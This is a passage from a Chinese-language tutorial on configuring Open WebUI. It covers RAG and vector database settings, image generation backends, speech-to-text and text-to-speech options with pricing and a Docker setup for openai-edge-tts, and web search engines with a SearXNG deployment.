id="高级设置">高级设置</h3><h4 id="RAG-模板与上下文">RAG 模板与上下文</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>RAG Template</strong></td><td><code>RAG_TEMPLATE</code></td><td>内置模板</td><td>自定义 RAG 提示词模板，控制检索内容如何注入到 LLM prompt</td></tr><tr><td><strong>RAG System Context</strong></td><td><code>RAG_SYSTEM_CONTEXT</code></td><td><code>false</code></td><td>设为 <code>true</code> 将 RAG 上下文放入 system message 而非 user message</td></tr></tbody></table><p><strong>RAG System Context</strong> 的作用：将检索到的文档内容放入 system message，而非 user message。好处是在多轮对话中可以优化 KV cache 复用（因为 system message 不变），推荐 Ollama/llama.cpp 用户开启。</p><h4 id="异步与性能">异步与性能</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Async Embedding</strong></td><td><code>ENABLE_ASYNC_EMBEDDING</code></td><td><code>false</code></td><td>后台线程池处理嵌入，上传大量文档时建议开启</td></tr></tbody></table><h4 id="文件与工具">文件与工具</h4><table><thead><tr><th>配置项</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>File Context</strong></td><td>启用</td><td>控制是否对附件执行 RAG 并预注入内容</td></tr><tr><td><strong>Builtin Tools</strong></td><td>启用</td><td>给模型提供 <code>query_knowledge_bases</code>、<code>search_chats</code> 等函数调用工具</td></tr></tbody></table><h4 id="网页加载">网页加载</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Web Loader SSL Verification</strong></td><td><code>ENABLE_WEB_LOADER_SSL_VERIFICATION</code></td><td><code>true</code></td><td>网页加载时是否验证 SSL 证书</td></tr><tr><td><strong>Google Drive Integration</strong></td><td><code>GOOGLE_DRIVE_API_KEY</code> 等</td><td>—</td><td>Google Drive 文件直接导入</td></tr></tbody></table><hr><h3 id="向量数据库（Vector-Database）">向量数据库（Vector Database）</h3><p>向量数据库用于存储文档的向量表示，是 RAG 检索的底层存储。</p><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Vector DB</strong></td><td><code>VECTOR_DB</code></td><td><code>chromadb</code></td><td>向量数据库类型</td></tr><tr><td><strong>Vector DB URL</strong></td><td><code>VECTOR_DB_URL</code></td><td>—</td><td>外部向量数据库连接地址</td></tr></tbody></table><h4 id="支持的向量数据库">支持的向量数据库</h4><table><thead><tr><th>数据库</th><th>部署方式</th><th>适用场景</th><th>特点</th></tr></thead><tbody><tr><td><strong>ChromaDB</strong></td><td>内置，无需额外配置</td><td>个人使用、小团队</td><td>默认选择，开箱即用</td></tr><tr><td><strong>Qdrant</strong></td><td>需部署独立服务</td><td>大规模部署</td><td>高性能，支持过滤</td></tr><tr><td><strong>Milvus</strong></td><td>需部署独立服务</td><td>企业环境</td><td>分布式，支持十亿级向量</td></tr><tr><td><strong>Weaviate</strong></td><td>需部署独立服务</td><td>需要混合搜索</td><td>内置向量+关键词搜索</td></tr><tr><td><strong>OpenSearch</strong></td><td>需部署独立服务</td><td>已有 OpenSearch 集群</td><td>Elasticsearch 开源替代</td></tr><tr><td><strong>PGVector</strong></td><td>PostgreSQL 扩展</td><td>已有 PostgreSQL 环境</td><td>复用现有数据库</td></tr><tr><td><strong>Pinecone</strong></td><td>云端托管</td><td>云端部署，免运维</td><td>全托管，按用量计费</td></tr><tr><td><strong>S3 Vector</strong></td><td>AWS S3</td><td>AWS 生态</td><td>低成本存储</td></tr></tbody></table><div class="tabs" id="向量数据库配置示例"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="向量数据库配置示例-1">ChromaDB（默认）</button><button type="button" class="tab " data-href="向量数据库配置示例-2">Qdrant</button><button type="button" class="tab " data-href="向量数据库配置示例-3">Milvus</button><button type="button" class="tab " data-href="向量数据库配置示例-4">PGVector</button><button type="button" class="tab " data-href="向量数据库配置示例-5">Pinecone</button></ul><div class="tab-contents"><div class="tab-item-content active" id="向量数据库配置示例-1"><p>内置数据库，无需任何额外配置，开箱即用。适合个人和小团队。</p></div><div class="tab-item-content" id="向量数据库配置示例-2"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=qdrant</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">QDRANT_URL=http://qdrant:6333</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-3"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=milvus</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MILVUS_URI=http://milvus:19530</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-4"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=pgvector</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PGVECTOR_DB_URL=postgresql://user:pass@postgres:5432/vectors</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-5"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=pinecone</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PINECONE_API_KEY=your-api-key</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PINECONE_ENVIRONMENT=us-east-1</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><p>对于大多数用户，<strong>ChromaDB 已经足够使用</strong>，无需额外配置。</p><hr><h3 id="整体最佳实践总结">整体最佳实践总结</h3><p>根据以上所有配置项的分析，以下是推荐的最佳实践组合：</p><table><thead><tr><th>配置项</th><th>推荐值</th><th>理由</th></tr></thead><tbody><tr><td>提取引擎</td><td>根据文档类型选择（见引擎选择建议表）</td><td>复杂 PDF 用 Docling/MinerU/Mistral OCR，简单文档用默认</td></tr><tr><td>PDF 加载模式</td><td>Single Document</td><td>语义连贯性优先</td></tr><tr><td>文本切分器</td><td>中文用 Token，英文用 Character</td><td>中文字符数 ≠ token 数</td></tr><tr><td>Chunk Size</td><td>1000-2000</td><td>平衡上下文完整性和检索精度</td></tr><tr><td>Chunk Overlap</td><td>Chunk Size 的 10%</td><td>保证边界语义连贯</td></tr><tr><td>Markdown 标题切分</td><td>开启（如果文档是 Markdown）</td><td>保留文档结构，减少碎片</td></tr><tr><td>嵌入模型</td><td>本地：Ollama + <code>nomic-embed-text</code></td><td>免费、快速、质量好</td></tr><tr><td>Hybrid Search</td><td><strong>开启</strong></td><td>向量 + 关键词互补，显著提升召回率</td></tr><tr><td>Reranking</td><td>配合 Hybrid Search 开启</td><td>提升精度最有效的组合</td></tr><tr><td>Top K</td><td>5-10</td><td>平衡召回和噪音</td></tr><tr><td>Relevance Threshold</td><td>0.2-0.5</td><td>过滤低质量结果</td></tr><tr><td>RAG System Context</td><td><code>true</code>（Ollama 用户）</td><td>优化多轮对话 KV cache</td></tr><tr><td>向量数据库</td><td>ChromaDB（默认）</td><td>小团队足够，零配置</td></tr></tbody></table><p>💡 <strong>核心原则</strong>：先确定嵌入模型（确定后不要轻易更换），再开启 Hybrid Search + Reranking，最后根据文档类型选择提取引擎。这三步是提升 RAG 质量投入产出比最高的操作。</p><hr><h2 id="3-5-图像生成功能配置">3.5. 图像生成功能配置</h2><p>Open WebUI 支持集成多种图像生成工具，让 AI 能够根据文字描述生成图片。</p><h3 id="DALL-E-集成">DALL-E 集成</h3><p>DALL-E 是 OpenAI 的图像生成模型，质量高但需要付费。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images</p><p>找到 “图像生成引擎” 选项，选择 “OpenAI DALL-E”。</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>API Key</strong></td><td>你的 OpenAI API 密钥</td></tr><tr><td><strong>模型</strong></td><td>dall-e-3（推荐）或 dall-e-2</td></tr><tr><td><strong>图像尺寸</strong></td><td>1024x1024（标准）、1792x1024（宽屏）、1024x1792（竖屏）</td></tr><tr><td><strong>图像质量</strong></td><td>standard（标准）或 hd（高清，更贵）</td></tr></tbody></table><p><strong>费用说明</strong>：</p><ul><li>DALL-E 3 标准质量：$0.040 / 张</li><li>DALL-E 3 高清质量：$0.080 / 张</li><li>DALL-E 2：$0.020 / 张</li></ul><h3 id="ComfyUI-集成">ComfyUI 集成</h3><p>ComfyUI 是一个开源的图像生成工作流工具，支持 Stable Diffusion 等模型。</p><p><strong>前置要求</strong>：</p><p>你需要先部署 ComfyUI 服务。ComfyUI 的部署超出本教程范围，请参考 ComfyUI 官方文档。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images → 选择 “ComfyUI”</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>说明</th></tr></thead><tbody><tr><td><strong>ComfyUI Base URL</strong></td><td>ComfyUI 服务地址，如 <code>http://localhost:8188</code></td></tr><tr><td><strong>工作流 JSON</strong></td><td>ComfyUI 的工作流配置文件</td></tr></tbody></table><p><strong>工作流配置</strong>：</p><p>ComfyUI 使用 JSON 格式的工作流文件来定义图像生成流程。你需要：</p><ol><li>在 ComfyUI 中设计好工作流</li><li>导出为 JSON 文件</li><li>将 JSON 内容粘贴到 Open WebUI 的配置中</li></ol><p><strong>优势</strong>：</p><ul><li><p>完全免费（使用本地模型）</p></li><li><p>完全可控，可以自定义各种参数</p></li><li><p>支持多种 Stable Diffusion 模型</p></li></ul><p><strong>劣势</strong>：</p><ul><li>配置复杂，需要一定的技术能力</li><li>需要额外的硬件资源（特别是 GPU）</li></ul><h3 id="AUTOMATIC1111-集成">AUTOMATIC1111 集成</h3><p>AUTOMATIC1111 (Stable Diffusion WebUI) 是另一个流行的开源图像生成工具。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images → 选择 “AUTOMATIC1111”</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>API Base URL</strong></td><td><code>http://localhost:7860</code></td></tr><tr><td><strong>API Key</strong></td><td>如果设置了认证，填入密钥</td></tr></tbody></table><p><strong>启用 API</strong>：</p><p>AUTOMATIC1111 默认不开启 API，需要在启动时添加参数：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python launch.py --api --listen</span><br></pre></td></tr></table></figure><p><strong>测试连接</strong>：</p><p>配置完成后，点击 “测试连接” 按钮，如果成功会显示可用的模型列表。</p><h3 id="图像生成参数设置">图像生成参数设置</h3><p>无论使用哪种引擎，都可以配置默认的生成参数：</p><table><thead><tr><th>参数</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>Steps</strong></td><td>生成步数，越多质量越好但越慢</td><td>20-30</td></tr><tr><td><strong>CFG Scale</strong></td><td>提示词引导强度</td><td>7-9</td></tr><tr><td><strong>Sampler</strong></td><td>采样器类型</td><td>Euler a 或 DPM++ 2M</td></tr><tr><td><strong>负面提示词</strong></td><td>不想出现的元素</td><td>ugly, blurry, low quality</td></tr></tbody></table><p>这些参数主要用于 Stable Diffusion 类模型，DALL-E 不需要配置。</p><h3 id="通过-CLIProxyAPI-Plus-对接图像生成-编辑">通过 CLIProxyAPI Plus 对接图像生成/编辑</h3><p>如果你使用的是 CLIProxyAPI Plus（CPA）作为 OpenAI 兼容代理，它原生只提供 <code>/v1/chat/completions</code> 端点，不支持 <code>/v1/images/generations</code> 和 <code>/v1/images/edits</code>。但 Open WebUI 的 OpenAI 图像引擎恰恰需要这两个端点。</p><p>我们对 CPA 源码进行了 Fork 修改，新增了这两个端点，原理是将图像 API 请求转换为 Chat Completions 调用：</p><table><thead><tr><th>端点</th><th>请求格式</th><th>转换逻辑</th></tr></thead><tbody><tr><td><code>POST /v1/images/generations</code></td><td>JSON（prompt + model）</td><td>构建纯文本 chat completions 请求，从响应中提取 <code>data:image/xxx;base64,...</code></td></tr><tr><td><code>POST /v1/images/edits</code></td><td>multipart/form-data（image 文件 + prompt + model）</td><td>将上传图片转为 base64 data URI，构建多模态 chat completions 请求（image_url + text）</td></tr></tbody></table><p>两个端点都返回标准 OpenAI Images API 格式：<code>&#123;&quot;created&quot;: ..., &quot;data&quot;: [&#123;&quot;b64_json&quot;: &quot;...&quot;&#125;]&#125;</code>。</p><p><strong>涉及的 CPA 源码文件</strong>：</p><ul><li><code>sdk/api/handlers/openai/openai_images_handler.go</code> — 新增文件，包含 <code>ImageGenerations</code> 和 <code>ImageEdits</code> 两个 handler</li><li><code>internal/api/server.go</code> — 在 <code>setupRoutes()</code> 的 v1 group 中注册路由（3 行改动）</li></ul><p><strong>Open WebUI 配置</strong>：</p><p>图像生成（管理员面板 → 设置 → Images）：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>引擎</strong></td><td>OpenAI</td></tr><tr><td><strong>API Base URL</strong></td><td><code>http://host.docker.internal:8317/v1</code></td></tr><tr><td><strong>API Key</strong></td><td>你的 CPA api-key</td></tr><tr><td><strong>模型</strong></td><td>手动输入模型 ID，如 <code>prorise/gemini-3-pro-image-preview</code></td></tr></tbody></table><p>图像编辑配置同理，引擎选 OpenAI，URL 和 Key 相同，模型填支持图像编辑的模型 ID。</p><p><strong>触发机制</strong>：</p><ul><li>聊天中纯文字描述 → 触发 <code>/images/generations</code>（图像生成）</li><li>聊天中上传图片 + 文字描述 → 触发 <code>/images/edits</code>（图像编辑，需开启 <code>ENABLE_IMAGE_EDIT</code>）</li></ul><p><strong>注意事项</strong>：</p><ul><li>图像模型建议在 Open WebUI 的模型高级设置中关闭流式输出（<code>stream_response: false</code>），避免 chunk 过大导致前端显示异常</li><li>CPA 源码 Fork 详见项目根目录的 <code>FORK_README.md</code>，同步上游更新时注意冲突风险</li></ul><hr><h2 id="3-6-语音功能配置">3.6. 语音功能配置</h2><p>Open WebUI 的语音交互由两部分组成：<strong>听（STT，语音转文字）</strong> 和 <strong>说（TTS，文字转语音）</strong>。合理的配置需要在“响应速度、拟真体验、实际花销”三者之间找到平衡。</p><h3 id="语音转文字（STT）配置">语音转文字（STT）配置</h3><p>STT 决定了系统“听得有多准”和“听得有多快”，以及你聊天的成本消耗，由于语音转文字本质拉不开很大差距，一般来说都会使用网页API 或选择 Whisper 作为使用</p><h4 id="1-核心引擎横向对比与实际计费">1. 核心引擎横向对比与实际计费</h4><table><thead><tr><th>引擎选型</th><th>成本梯队</th><th>实际计费标准 (预估)</th><th>核心优势</th></tr></thead><tbody><tr><td><strong>网页 API</strong></td><td>免费</td><td><strong>$0</strong> (利用浏览器原生能力)</td><td>服务器零负载，响应极快，零成本</td></tr><tr><td><strong>Whisper (本地)</strong></td><td>免费</td><td><strong>$0</strong> (仅消耗本机/服务器电费)</td><td>隐私最强，完全离线，不按时长收费</td></tr><tr><td><strong>Deepgram</strong></td><td>低成本</td><td><strong>约 $0.0043 / 分钟</strong></td><td>专为实时语音设计，延迟极低，性价比极高</td></tr><tr><td><strong>OpenAI</strong></td><td>适中</td><td><strong>$0.006 / 分钟</strong></td><td>业界标杆，多语言混合识别极准，无需额外注册</td></tr><tr><td><strong>Azure AI 语音</strong></td><td>偏高</td><td><strong>约 $1.00 / 小时</strong> ($0.016/分)</td><td>微软企业级稳定服务，带口音的方言识别优秀</td></tr></tbody></table><h4 id="2-深度选型与成本解析">2. 深度选型与成本解析</h4><ul><li><p><strong>完全免费且省心：网页 API (Web API)</strong></p></li><li><p><strong>计费逻辑</strong>：绝对免费。它调用的是你当前所用浏览器（如 Chrome）内置的语音识别接口。</p></li><li><p><strong>适用场景</strong>：预算为零，服务器没有显卡（GPU）跑不动本地模型，且能保证全程使用 HTTPS 访问的用户。</p></li><li><p><strong>免费但吃硬件：Whisper (本地)</strong></p></li><li><p><strong>计费逻辑</strong>：软件层面免费，但<strong>隐性成本在硬件</strong>。它会占用你服务器的 CPU 和显存。如果租用云服务器，为了跑顺畅可能需要升级高配实例。</p></li><li><p><strong>选型建议</strong>：如果你的服务器本身配置就高（如拥有 8GB 以上显存的独立显卡），强烈建议选这个。数据不出局域网，隐私绝对安全。</p></li><li><p><strong>云端高性价比方案：Deepgram</strong></p></li><li><p><strong>计费逻辑</strong>：按秒计费，极其便宜。折算下来一小时一直说话也才两毛多美元。</p></li><li><p><strong>选型建议</strong>：如果你需要高频使用语音对话，Deepgram 的 Nova-2 模型是<strong>首选</strong>。它的转录速度远快于 OpenAI，能大幅降低你等 AI 回复的“空窗期”。</p></li><li><p><strong>高质量兜底方案：OpenAI Whisper</strong></p></li><li><p><strong>计费逻辑</strong>：按分钟计费。如果你每天和 AI 聊 10 分钟语音，一个月大约花费 $1.8。</p></li><li><p><strong>选型建议</strong>：如果你平时说话中英文夹杂，或者专业术语多，OpenAI 的容错和纠错能力是目前云端 API 里最好的。</p></li></ul><hr><h3 id="文字转语音（TTS）配置">文字转语音（TTS）配置</h3><p>TTS 决定了 AI 的“音色”和“情感”，这项功能由于需要生成音频文件，通常比 STT 更贵。</p><h4 id="1-核心引擎横向对比与实际计费-2">1. 核心引擎横向对比与实际计费</h4><table><thead><tr><th>引擎选型</th><th>成本梯队</th><th>实际计费标准 (预估)</th><th>拟真度</th></tr></thead><tbody><tr><td><strong>网页 API</strong></td><td>免费</td><td><strong>$0</strong> (调用系统内置 TTS)</td><td>⭐⭐ (明显机械音)</td></tr><tr><td><strong>openai-edge-tts</strong> 🏆</td><td>免费</td><td><strong>$0</strong> (微软 Edge 在线语音，中间件伪装)</td><td>⭐⭐⭐⭐⭐ (中文场景极佳，接近 OpenAI)</td></tr><tr><td><strong>Transformers</strong></td><td>免费</td><td><strong>$0</strong> (消耗本地算力生成)</td><td>⭐⭐⭐ (略带顿挫感)</td></tr><tr><td><strong>OpenAI</strong></td><td>低成本</td><td><strong>$0.015 / 千字符</strong></td><td>⭐⭐⭐⭐ (非常自然流畅)</td></tr><tr><td><strong>Azure AI 语音</strong></td><td>适中</td><td><strong>约 $0.016 / 千字符</strong></td><td>⭐⭐⭐⭐ (专业播音腔，可选多)</td></tr><tr><td><strong>ElevenLabs</strong></td><td>昂贵</td><td><strong>约 $0.22 / 千字符</strong> (按标准套餐折算)</td><td>⭐⭐⭐⭐⭐ (情感天花板)</td></tr></tbody></table><h4 id="2-深度选型与成本解析-2">2. 深度选型与成本解析</h4><ul><li><p><strong>零成本测试首选：网页 API</strong></p></li><li><p><strong>计费逻辑</strong>：免费。直接让你的 Windows 或 macOS 系统里的&quot;讲述人&quot;来读出文字。</p></li><li><p><strong>体验</strong>：毫无感情，适合用来排查语音链路通不通，不适合长期对话。</p></li><li><p><strong>🏆 中文场景版本答案：openai-edge-tts（强烈推荐）</strong></p></li><li><p><strong>计费逻辑</strong>：完全免费。它通过一个开源中间件（<a href="https://github.com/travisvn/openai-edge-tts">travisvn/openai-edge-tts</a>，GitHub 1.6k+ Stars），将微软 Edge 浏览器内置的高质量在线语音接口伪装成 OpenAI TTS 接口给 Open WebUI 使用。你在抖音/TikTok 上听到的那些非常自然的 AI 解说音，用的就是同一套微软语音引擎。</p></li><li><p><strong>选型建议</strong>：<strong>面向国内中文用户的最佳选择</strong>。音质接近 OpenAI TTS，远超本地机械音，且完全免费、无需 GPU。Open WebUI 官方文档已有专门的集成页面。唯一注意点：它本质是微软云服务的代理，需要联网才能使用，不是真正的离线方案。</p></li><li><p><strong>部署步骤</strong>：</p><p><strong>第一步：启动 Docker 容器</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d -p 5050:5050 -e API_KEY=your_password travisvn/openai-edge-tts:latest</span><br></pre></td></tr></table></figure><p><strong>第二步：在 Open WebUI 管理面板中配置</strong></p><p>进入 管理员面板 → 设置 → 语音，在 TTS 部分填写：</p><table><thead><tr><th>配置项</th><th>填写内容</th><th>说明</th></tr></thead><tbody><tr><td><strong>TTS 引擎</strong></td><td><code>OpenAI</code></td><td>注意：选 OpenAI，不是 Edge，因为中间件伪装成了 OpenAI 接口</td></tr><tr><td><strong>API 基础 URL</strong></td><td><code>http://host.docker.internal:5050/v1</code></td><td>如果 Open WebUI 也在 Docker 中运行；否则填 <code>http://localhost:5050/v1</code></td></tr><tr><td><strong>API 密钥</strong></td><td><code>your_password</code></td><td>与 Docker 启动时的 <code>API_KEY</code> 保持一致</td></tr><tr><td><strong>TTS 模型</strong></td><td><code>tts-1</code></td><td>固定值</td></tr><tr><td><strong>TTS 语音</strong></td><td><code>zh-CN-XiaoxiaoNeural</code></td><td>最受欢迎的中文女声；男声可选 <code>zh-CN-YunxiNeural</code></td></tr></tbody></table><blockquote><p><strong>💡 更多语音选择</strong>：Edge TTS 支持大量中文语音，如 <code>zh-CN-XiaoyiNeural</code>（年轻女声）、<code>zh-CN-YunjianNeural</code>（新闻播报男声）等，完整列表可在容器启动后访问 <code>http://localhost:5050/v1/voices</code> 查看。</p></blockquote><blockquote><p><strong>⚠️ 注意</strong>：此方案依赖微软在线服务，断网时无法使用。如果你需要完全离线的 TTS，请考虑 Transformers 本地方案或下方的 Kokoro-FastAPI。</p></blockquote></li><li><p><strong>补充：英文场景的替代方案 —— Kokoro-FastAPI</strong></p></li><li><p>如果你的用户主要使用英文对话，社区中另一个高口碑项目是 <a href="https://github.com/remsky/Kokoro-FastAPI">Kokoro-FastAPI</a>。它完全本地运行，英文语音质量被社区评为当前最佳，同样提供 OpenAI 兼容 API。但中文支持较弱，因此面向国内用户时 openai-edge-tts 仍是首选。</p></li><li><p><strong>极致性价比：OpenAI TTS</strong></p></li><li><p><strong>计费逻辑</strong>：按生成的字符数收费。1000 个英文字符或中文字大概只要 1 分多钱（美元）。即使重度使用，每个月也就几美元。</p></li><li><p><strong>选型建议</strong>：<strong>90% 用户的最佳选择</strong>。模型选 <code>tts-1</code> 即可（<code>tts-1-hd</code> 贵一倍且速度慢，对话时完全没必要）。声音推荐 <code>Alloy</code>（中性）或 <code>Nova</code>（活力）。</p></li><li><p><strong>如果你需要更高质量的选型（听觉享受）：ElevenLabs</strong></p></li><li><p><strong>计费逻辑</strong>：非常贵。采用订阅+额度制（如 $22/月 给 10 万字符），折算下来<strong>单价比 OpenAI 贵了 15 倍左右</strong>。</p></li><li><p><strong>为什么选它</strong>：物有所值。它是目前唯一能做到“根据上下文叹气、呼吸、调整情绪甚至哭腔”的 API。如果你把 AI 当作情感树洞，或者需要克隆特定人的声音，这笔钱花得值。</p></li></ul><hr><h2 id="3-7-网络搜索功能配置">3.7. 网络搜索功能配置</h2><p>网络搜索功能让 AI 能够获取最新的网络信息，突破模型训练数据的时效性限制。用户在对话中开启&quot;联网搜索&quot;开关后，Open WebUI 会先调用搜索引擎获取实时结果，再注入到 LLM 上下文中辅助回答。</p><p><strong>配置入口</strong>：管理员面板 → 设置 → 联网搜索</p><hr><h3 id="配置项说明">配置项说明</h3><table><thead><tr><th>配置项</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>启用联网搜索</strong></td><td>总开关，关闭时所有用户均无法使用</td><td>按需开启</td></tr><tr><td><strong>搜索引擎</strong></td><td>下拉选择提供商，选择后下方动态显示该引擎所需字段（Key、URL 等）</td><td>见下方选型</td></tr><tr><td><strong>搜索结果数量</strong></td><td>每次返回的结果条数，太少信息不足，太多增加 token 消耗</td><td>5-8</td></tr><tr><td><strong>并发数</strong></td><td>同时抓取结果页面的并发数，过高可能触发速率限制</td><td>默认即可</td></tr><tr><td><strong>旁路 SSL 验证</strong></td><td>跳过 SSL 证书验证，仅自部署引擎用自签名证书时开启</td><td>关闭</td></tr></tbody></table><hr><h3 id="全部搜索引擎一览">全部搜索引擎一览</h3><p><strong>🟢 完全免费（自部署或无需 Key）</strong></p><ul><li><strong>DuckDuckGo</strong>（<code>duckduckgo</code>）— 零配置开箱即用，无需 API Key，通过 Python 库直接调用。缺点：可能被速率限制，国内需代理</li><li><strong>SearXNG</strong>（<code>searxng</code>）— 🏆 <strong>社区最推荐</strong>。开源元搜索引擎，聚合 Google、Bing 等 70+ 引擎结果，需 Docker 自部署，完全免费、无限次数、隐私安全</li><li><strong>YaCy</strong>（<code>yacy</code>）— 去中心化 P2P 搜索引擎，完全自托管，搜索质量远不如 SearXNG</li><li><strong>Ollama Cloud</strong>（<code>ollama_cloud</code>）— 用本地 Ollama 模型生成搜索，完全离线但质量有限</li></ul><p><strong>🔵 有免费额度（白嫖友好，需注册获取 Key）</strong></p><ul><li><strong>Serper</strong>（<code>serper</code>）— 🏆 <strong>性价比之王</strong>。基于 Google SERP，注册送 2,500 次（一次性），付费 $0.30/千次起，速度极快</li><li><strong>Brave</strong>（<code>brave</code>）— 每月 2,000 次免费（每月刷新），独立搜索索引，隐私友好，超出后 $3/千次</li><li><strong>Tavily</strong>（<code>tavily</code>）— 每月 1,000 次免费，专为 AI/RAG 设计，返回干净文本，超出后 $0.008/次</li><li><strong>Exa</strong>（<code>exa</code>）— 注册送 $10 额度（约 2,000 次），AI 原生语义搜索，超出后 $5/千次</li><li><strong>Google PSE</strong>（<code>google_pse</code>）— 每天 100 次免费（约 3,000 次/月），搜索质量就是 Google 本身，超出后 $5/千次</li><li><strong>Firecrawl</strong>（<code>firecrawl</code>）— 一次性 500 次免费，搜索 + 深度抓取网页内容，超出后 $16/月起</li><li><strong>SearchApi</strong>（<code>searchapi</code>）— 注册送 100 次，支持 Google/Bing/Baidu/Scholar 多引擎切换，超出后 $50/月起</li><li><strong>Serpstack</strong>（<code>serpstack</code>）— 每月 100 次免费，基于 Google SERP，超出后 $30/月起</li><li><strong>SerpApi</strong>（<code>serpapi</code>）— 每月 100 次免费，功能最全但价格偏高 $25/月起</li><li><strong>Jina</strong>（<code>jina</code>）— 注册送积分，支持语义搜索和网页内容提取，适合 RAG 场景</li></ul><p><strong>🟡 纯付费（无免费额度或需订阅）</strong></p><ul><li><strong>Bing</strong>（<code>bing</code>）— ⚠️ 微软已于 2025 年 8 月宣布退役，不推荐新用户</li><li><strong>Kagi</strong>（<code>kagi</code>）— $10/月起订阅制，高质量无广告搜索</li><li><strong>Mojeek</strong>（<code>mojeek</code>）— 英国独立搜索引擎，有自己的爬虫索引，需联系定价</li><li><strong>Serply</strong>（<code>serply</code>）— $49/月起，性价比不高</li><li><strong>Bocha</strong>（<code>bocha</code>）— 🇨🇳 国产博查搜索，国内可直连，需联系定价</li><li><strong>Sogou</strong>（<code>sougou</code>）— 🇨🇳 搜狗搜索，国内可直连，需联系定价</li><li><strong>Yandex</strong>（<code>yandex</code>）— 俄罗斯搜索引擎，俄语搜索质量好</li></ul><p><strong>🟣 AI 增强搜索</strong></p><ul><li><strong>Perplexity</strong>（<code>perplexity</code>）— Sonar API，搜索 + AI 总结，Pro 订阅每月附赠 $5 额度</li><li><strong>Perplexity Search</strong>（<code>perplexity_search</code>）— 同上，纯搜索不含 AI 总结</li><li><strong>External</strong>（<code>external</code>）— 万能逃生舱，指向任意自定义 HTTP 搜索服务</li></ul><blockquote><p>💡 以上除 Bocha、Sogou 外，其余引擎均需代理才能在国内访问。</p></blockquote><hr><h3 id="选型推荐与部署">选型推荐与部署</h3><p><strong>🏆 最优解：SearXNG 自部署</strong></p><p>适合有服务器的个人/团队，零成本、无限次数、隐私安全。社区公认的最佳方案。</p><p>部署步骤：</p><ol><li>克隆仓库并进入目录：</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/searxng/searxng-docker.git</span><br><span class="line"><span class="built_in">cd</span> searxng-docker</span><br></pre></td></tr></table></figure><ol start="2"><li>修改 <code>settings.yml</code>（最关键一步，必须启用 JSON 格式，否则 Open WebUI 报 403）：</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">use_default_settings:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">secret_key:</span> <span class="string">&quot;your-random-secret-key&quot;</span>  <span class="comment"># 必须修改</span></span><br><span class="line">  <span class="attr">limiter:</span> <span class="literal">false</span>  <span class="comment"># 关闭速率限制，避免被限流</span></span><br><span class="line">  <span class="attr">image_proxy:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">search:</span></span><br><span class="line">  <span class="attr">safe_search:</span> <span class="number">0</span></span><br><span class="line">  <span class="attr">autocomplete:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">default_lang:</span> <span 